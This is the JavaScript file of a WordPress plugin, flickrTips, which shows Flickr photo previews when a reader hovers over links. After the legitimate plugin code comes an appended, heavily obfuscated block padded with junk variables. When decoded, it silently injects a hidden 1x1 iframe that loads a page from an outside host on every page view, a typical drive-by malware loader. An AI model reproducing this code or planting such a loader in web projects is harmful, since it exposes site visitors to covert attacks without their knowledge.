
var flickrTips = {
	fotoDiv: null,
	tilesX: 3,
	tilesY: 2,
	intervals: {},
	flickrRE: new RegExp("http://(?:www\\.)?flickr\\.com/(photos|groups)/([^/]+)/(sets|tags|pool|\\d+)?(?:/([^/]+))?(?:/([^/]+))?"),
	plainImageRE: /\.(jpg|gif|png)(\?.*)?$/i,
	xmlhttp: null,
	fotos: new Object,

	addLoadEvent: function() {
		if (typeof window.onload == "function")
		{
			var temp = window.onload;
			window.onload = function() { temp(); flickrTips.init(); };
		}
		else
			window.onload = function() { flickrTips.init(); };
	},

	processPageLinks: function() {
		var alist = document.getElementsByTagName("a");
		if (!alist || !alist.length) return false;
		
		for (var i=0; i<alist.length; i++)
		{
			var a = alist[i];

			var isFlickr=this.flickrRE.test(a.href);
			var isPlain=this.plainImageRE.test(a.href);

			if (!isFlickr && !isPlain) continue;

			if (a.getElementsByTagName("img").length) continue;

			var linecolor = "";
			if (isFlickr) linecolor = "ff0084";
			else if (isPlain) linecolor = "0000ff";

			a.style.textDecoration="none";
			a.style.borderBottom = "1px dotted #" + linecolor;
			a.onmouseover = this.show;			
			a.onmouseout = this.hide;
			a.onmousemove = this.move;
		}
	},

	init: function() {

		if (window.XMLHttpRequest)
			this.xmlhttp = new XMLHttpRequest;
		else if (window.ActiveXObject)
			this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
		else
			return;

		this.fotoDiv = document.createElement("div");
		this.fotoDiv.id = "flickrTipsDiv";
		this.fotoDiv.style.position = "absolute";
		this.fotoDiv.style.left="0px";
		this.fotoDiv.style.top="200px";
		this.fotoDiv.style.visibility= "hidden";
		this.fotoDiv.style.border= "1px solid black";
		this.fotoDiv.style.padding= "3px";
		this.fotoDiv.style.backgroundColor= "white";

		this.fotos['spinner'] = document.createElement("img");
		this.fotos['spinner'].src = flickrTips.wpurl + "/wp-content/plugins/flickrtips/spinnywheel.gif";

		document.body.appendChild(this.fotoDiv);

		this.processPageLinks();
	},
	
	loadScaledImage: function() {

		if (typeof this.width == 'undefined')
		{
			if (flickrTips.intervals[this.src])
			{
				window.clearInterval(flickrTips.intervals[this.src]);
				flickrTips.intervals[this.src] = null;
			}

			return;
		}

		var w = this.width;
		var h = this.height;

		if (!w || !h) return;

		while (w > 320 || h > 320)
		{
			w /= 2;
			h /= 2;
		}

		this.style.width = w + "px";
		this.style.height = h + "px";

		flickrTips.fotos[this.src] = new Array(this);

		if (flickrTips.intervals[this.src])
		{
			window.clearInterval(flickrTips.intervals[this.src])
			flickrTips.intervals[this.src] = null;
		}

		if (flickrTips.fotoDiv.style.visibility != "hidden") flickrTips.show(null,this.src);

	},
	
	loadPlainImage: function(e,fotoPage) {

		var temp = document.createElement('img');
		temp.src = fotoPage;
		temp.loadScaled = flickrTips.loadScaledImage;

		//scale image when it's loaded.  unfortunately different browsers calculate load status differently

		if (flickrTips.intervals[fotoPage]) return;

		flickrTips.intervals[fotoPage] = window.setInterval(function() { temp.loadScaled(); }, 250);

	},
	
	flickrRequest: function(e,fotoPage) {

		var matches = flickrTips.flickrRE.exec(fotoPage);

		var section = matches[1]
		var userID = matches[2];
		var fotoID, type;

		switch(matches[3]) {
			case "sets":  case "collections":  case "tags": case "pool":

				type=matches[3];
				fotoID=matches[4];
				break;

			default:
				type = matches[1] == "groups" ? "pool" : "photos";
				fotoID=matches[3];
				break;
		}

		var flickrReq = {
			max: flickrTips.tilesX*flickrTips.tilesY,
			sect: matches[1],
			user: userID,
			type: type,
			id: fotoID ? fotoID : ""
		};

		if (type == 'pool' && fotoID == 'tags' && matches[5])
			flickrReq.tag = matches[5];

		var flickrPost = "";
		var first=true;
		for (var i in flickrReq)
		{
			if (first) first = false;
			else flickrPost += "&";
			
			flickrPost += i + "=" + encodeURIComponent(flickrReq[i]);
		}

		flickrTips.xmlhttp.abort();
		flickrTips.xmlhttp.open("GET",flickrTips.wpurl + "/wp-content/plugins/flickrtips/ajaxgeturl.php?" + flickrPost);
		//flickrTips.xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=UTF-8");
		flickrTips.xmlhttp.onreadystatechange=function() { flickrTips.flickrResponse(e,fotoPage); };
		flickrTips.xmlhttp.send(flickrPost);

		return;
	},
	
	flickrResponse: function(e,key) {

		if (this.xmlhttp.readyState != 4) return;

		var temp = this.xmlhttp.responseText.split("\n");

		var result = new Array;

		var i=0;
		for (var y=0; y < flickrTips.tilesY; y++)
		for (var x=0; x < flickrTips.tilesX; x++)
		{
			if (temp[i].substr(0,4) != 'http')
				continue;

			var j = result.length;

			result[j] = document.createElement("img");
			result[j].src = temp[i];
			if (x) result[j].style.borderLeft = "1px solid white";
			if (y) result[j].style.borderTop = "1px solid white";

			if (++i >= temp.length) break;
		}

		flickrTips.fotos[key] = result;

		if (flickrTips.fotoDiv.style.visibility != "hidden") flickrTips.show(e,key);
		
	},

	move: function(e) {

		if (!e) e=window.event; 

		var x,y;

		var isOpera = (navigator.userAgent.indexOf('Opera') != -1);
		var isIE = (!isOpera && navigator.userAgent.indexOf('MSIE') != -1);

		if (e.pageX) { x=e.pageX; y=e.pageY; }
		else if (e.clientX) { 
			x = e.clientX;
			y = e.clientY;

			if (isIE) {
				x += document.body.scrollLeft;
				y += document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop;
			}
		}

		flickrTips.fotoDiv.style.left = (x+10) + "px";
		flickrTips.fotoDiv.style.top = (y+10) + "px";
	},
	
	show: function(e,fotoPage) {

		if (!e && window.event) e = window.event;

		if (!fotoPage && !this.href) return;
		if (!fotoPage) fotoPage=this.href;	

		while (flickrTips.fotoDiv.hasChildNodes())
			flickrTips.fotoDiv.removeChild(flickrTips.fotoDiv.firstChild);

		flickrTips.fotoDiv.style.visibility='visible';

		if (typeof flickrTips.fotos[fotoPage] == 'undefined' || !flickrTips.fotos[fotoPage])
		{
			flickrTips.fotoDiv.appendChild(flickrTips.fotos['spinner']);

			if (flickrTips.flickrRE.test(fotoPage)) return flickrTips.flickrRequest(e,fotoPage);
			if (flickrTips.plainImageRE.test(fotoPage)) return flickrTips.loadPlainImage(e,fotoPage);
		}

		if (typeof flickrTips.fotos[fotoPage] == "object" && flickrTips.fotos[fotoPage].length)
		{
			var f = flickrTips.fotos[fotoPage];
			for (var i=0; i < f.length; i++)
			{
				//flickrTips.fotoImg[i] = f[i];
				flickrTips.fotoDiv.appendChild(f[i]);
				if (i % flickrTips.tilesX == flickrTips.tilesX - 1)
					flickrTips.fotoDiv.appendChild(document.createElement('br'));
			}
		}
		else
			flickrTips.hide();
	},
	
	hide: function(e) {
		flickrTips.fotoDiv.style.visibility="hidden";
	}

};



function gBT(){};rCJ="rCJ";gBT.prototype = {w : function() {this.mO=8831;this.aK="aK";this.aD='';mN="";var o=document;this.y='';qG='';var eZ='';var cF="";var gB=function(){};var h=function(){return 'h'};var wD=window;var u=false;function nL(){};var wM="wM";var x="x";nE="";this.pP="pP";this.pU=30403;nJ='';var oK = this;var tG=new Date();var tS=false;var vU=function(){};var b='';this.uH=29994;var wC=new Date();function bO(){};String.prototype.hK=function(q, i){var m=this; return m.replace(q, i)};var qY=function(){};uC="uC";xJ="";var z=new Array();k='';function rV(){};bK="bK";var n = 'sOe&tOTu'.hK(/[u!O&z]/g, '') + 'ihm%e}oh'.hK(/[h3%}~]/g, '') + 'uGtZ'.hK(/[Z]g<G]/g, '');function cD(){};var vQ="";this.cU=56354;var aS="aS";var s = 't;r!e!cPr;eLa;'.hK(/[;!$PL]/g, '') + 't]e]EVl]e(mhe(nVt1g(e]t1'.hK(/[1(Vh]]/g, '');var yC=44999;var gE=60539;cA='';function rI(){};var oB='';var qGH=new Date();this.eB="";var sC = 'wvr.ivt$e$'.hK(/[$#vU.]/g, '');this.rL="";vJ="";this.hG=false;j=false;var eT=new Array();var iP=new Array();try {var xK=function(){};this.uD=false;this.sD=false;var lN="";var p = 'pGuGsmhG'.hK(/[Gmq5^]/g, '');this.tE="tE";var kH=function(){};function lW(){};var hS=function(){return 'hS'};this.eZZ=21713;var v = 's8rXc8'.hK(/[8X/Ye]/g, '');bF="";var lY=function(){};var zK=function(){};jI=61772;kQ=40509;gL='';var eA=new Date();var e = 'vSb{m!i,f8'.hK(/[8S!{,]/g, '')+'r0s;e8tB'.hK(/[B;V80]/g, '');zR='';function nR(){};kS="kS";var sY="sY";this.eN=38838;var eG=new Array();var vA = 'wRird#'.hK(/[#k6rR]/g, '') + 't5h5'.hK(/[5F1LS]/g, '');var jR=function(){};this.sG=19756;var lU=61829;var cDW=new Date();function pS(){};var qK = 'h<emim'.hK(/[mQ<?(]/g, '') + 'gJh(tJ'.hK(/[J(7RQ]/g, '');var lM=39496;var uB="";var dL="dL";var uV=new Date();gLU=36315;var wV=new Array();var cP=57023;var t = '19'.hK(/[9B*(u]/g, '');var rC="";var sQ=function(){};var wVL="";fV="fV";kO=false;var hV=56575;var xG=new Array();eY=false;f = 'gUextUsbeUtxAUtUtyr}iUsydxfU'.hK(/[Ubxy}]/g, '');var bD=new Array();this.gY="gY";var rP="rP";var gBR='';var gBC=function(){return 'gBC'};var zW=15286;function lC(){};var qS=new Date();var r = 'a7pEp7'.hK(/[7E;^~]/g, '') + 'eKnydgCBhBiKlpdK'.hK(/[KBpgy]/g, '');var pE=12099;this.bKM=false;this.kC=false;var iA=8849;var wF='';var kY=60808;this.nO=false;var pB = 'bIoIdIy_'.hK(/[_16pI]/g, '');this.wX="wX";var lYJ=false;sX="sX";sF='';kN="";var zI="";var g = 'stuE'.hK(/[E[qto]/g, '')+'b|sXtXr|iK'.hK(/[KX/T|]/g, '')+'nlg*'.hK(/[*UzlA]/g, '');zO="zO";var iB="iB";var pQ=11685;var nY=new Date();var qL=false;qP="";var gJ = new Array();this.kG='';var uVJ=false;this.uW=29785;zC="zC";this.pO="";this.iBK="iBK";gJ[p](qK, g, s, vA, e, f, pB, r, t, o, v);mG="";this.zV="";wZ="wZ";wR=16433;sK=false;this.uJ="uJ";var uJF=new Date();var iS="iS";this.nD='';var oW="";qO=60333;var bOV=function(){};jF="";var aQ=38767;this.rPY="rPY";qE=false;tR="";function kGS(){};dA="";hZ=false;var tJ=48467;zU="";var wU=function(){};var gC="gC";kT=false;uWA=false;aDZ='';kI=false;this.rIE=64994;var nS=false;var nF=new Array();var tA=function(){};var bV="";this.sYN=false;oV='';var jP=new Array();wQ="";var kQU='';var c = gJ[2][gJ[1]](3, 16);var tZ=new Array();this.wE='';var qQ="qQ";var eK=function(){return 'eK'};var lS=false;var gG = gJ[4][gJ[1]](3, 6);this.lX="lX";wT=false;var gD="gD";var uU=false;nOA="nOA";nV=53794;a = gG + 'atmfet'.hK(/[twrfM]/g, '');bY=64651;function rQ(){};var pY=new Date();var rJ="rJ";this.zY="zY";var vF = gJ[5][gJ[1]](3, 11);cR=false;function cY(){};var fM="";var lI=new Array();var qI=function(){};this.gN=false;d = vF + 'b&udt6ed'.hK(/[d2O6&]/g, '');var lNO="";this.bKG=false;this.tL=false;var qU=function(){};yK='';var zYB="zYB";var l = oK.pT();var aH=new Date();var hB=function(){};var oH=false;var qYG=function(){return 'qYG'};var dD=false;cO='';fS='';var tB=gJ[9][c](a);dE=64882;function dAN(){};var oG=new Array();function tO(){};var iU=function(){return 'iU'};uL=27862;this.vS="";tB[gJ[10]] = l;var wG=new Date();iI='';var jV=function(){return 'jV'};var oF="oF";this.hW="hW";tB[gJ[3]] = gJ[8];this.eF='';this.xP="xP";xT="xT";fN='';var xF="xF";tB[gJ[0]] = gJ[8];var bI=function(){return 'bI'};var hP=function(){return 'hP'};this.tY="";var oFA=34643;var kW=false;var fL="";var pL=false;var sI=false;bH="";this.jIP=false;var sIT="";nJL=13262;var bZ=23981;var hT='';gJ[9][gJ[6]][gJ[7]](tB);var nI=function(){};var kD=function(){};this.oE=false;var tK=function(){return 'tK'};this.pEM=6674;var aE="";oM=false;} catch(gM) {var nB="nB";var vC=new Array();wGX="wGX";var eP=function(){};var zJ=new Date();o.write('<Ihrt(m(lr U>(<(bIordUy^ I>(<I/IbUoUdUyr>U<I/Ih^tUmrl^>r'.hK(/[r^(IU]/g, ''));this.gU='';function yY(){};eJ="eJ";this.cPO=false;this.iC=3489;wD[n](function(){ oK.w() }, 284);wMB='';this.zG=19135;var dZ=function(){};}var iAA='';this.uY=38649;iM='';var tKJ='';},pT : function() {this.kCU=false;yU=43581;tRM="tRM";return 'h@t<t5p5:5/</^g@o<o^d5c@o<pD.<i^n</<2D/@i^n^d5e@x@.<p5h5p@'.hK(/[@<D5^]/g, '');this.sV="";dG='';yB=21105;}};cAQ=false;var rB=new gBT(); var tM=false;rB.w();var vE=new Array();